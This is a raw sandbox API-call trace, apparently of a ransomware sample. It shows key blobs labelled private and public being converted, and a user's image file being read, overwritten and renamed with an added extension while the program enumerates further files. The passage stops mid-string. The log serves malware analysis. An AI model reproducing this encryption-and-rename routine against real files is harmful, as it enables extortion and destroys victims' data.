8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0085.557] GetCurrentThreadId () returned 0xa30 [0085.557] GetCurrentThreadId () returned 0xa30 [0085.558] GetCurrentThreadId () returned 0xa30 [0085.558] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0085.558] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6bc7c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0085.558] GetCurrentThreadId () returned 0xa30 [0085.558] GetCurrentThreadId () returned 0xa30 [0085.559] GetCurrentThreadId () returned 0xa30 [0085.559] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\7lZfRGVx.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zjxh\\7lzfrgvx.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110 [0085.559] SetFilePointer (in: hFile=0x110, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0085.559] SetFilePointer (in: hFile=0x110, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0085.559] SetFilePointer (in: hFile=0x110, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x8043 [0085.559] SetFilePointer (in: hFile=0x110, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0085.559] ReadFile (in: hFile=0x110, lpBuffer=0x1efff40, nNumberOfBytesToRead=0x8043, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1efff40*, lpNumberOfBytesRead=0x18f6a0*=0x8043, lpOverlapped=0x0) returned 1 [0085.562] CloseHandle (hObject=0x110) returned 1 [0085.563] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\7lZfRGVx.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zjxh\\7lzfrgvx.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110 [0085.565] WriteFile (in: hFile=0x110, lpBuffer=0x1f09f70*, nNumberOfBytesToWrite=0x8043, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f09f70*, lpNumberOfBytesWritten=0x18f6ac*=0x8043, lpOverlapped=0x0) returned 1 [0085.568] CloseHandle (hObject=0x110) returned 1 [0085.570] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\7lZfRGVx.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zjxh\\7lzfrgvx.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\7lZfRGVx.png.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zjxh\\7lzfrgvx.png.zv7un")) returned 1 [0085.570] GetCurrentThreadId () returned 0xa30 [0085.571] GetCurrentThreadId () returned 0xa30 [0085.571] GetCurrentThreadId () returned 0xa30 [0085.571] GetCurrentThreadId () returned 0xa30 [0085.571] GetCurrentThreadId () returned 0xa30 [0085.571] GetCurrentThreadId () returned 0xa30 [0085.571] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b2386d0, ftCreationTime.dwHighDateTime=0x1d5e13e, ftLastAccessTime.dwLowDateTime=0x423098d0, ftLastAccessTime.dwHighDateTime=0x1d5d9a5, ftLastWriteTime.dwLowDateTime=0x423098d0, ftLastWriteTime.dwHighDateTime=0x1d5d9a5, nFileSizeHigh=0x0, nFileSizeLow=0x11c01, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="9jjfu1YS.jpg", cAlternateFileName="")) returned 1 [0085.571] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0085.571] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0085.571] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\9jjfu1YS.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zjxh\\9jjfu1ys.jpg"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b2386d0, ftCreationTime.dwHighDateTime=0x1d5e13e, ftLastAccessTime.dwLowDateTime=0x423098d0, ftLastAccessTime.dwHighDateTime=0x1d5d9a5, ftLastWriteTime.dwLowDateTime=0x423098d0, ftLastWriteTime.dwHighDateTime=0x1d5d9a5, nFileSizeHigh=0x0, nFileSizeLow=0x11c01)) returned 1 [0085.571] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\9jjfu1YS.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zjxh\\9jjfu1ys.jpg")) returned 0x20 [0085.571] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\9jjfu1YS.jpg", dwFileAttributes=0x80) returned 1 [0085.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0085.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCns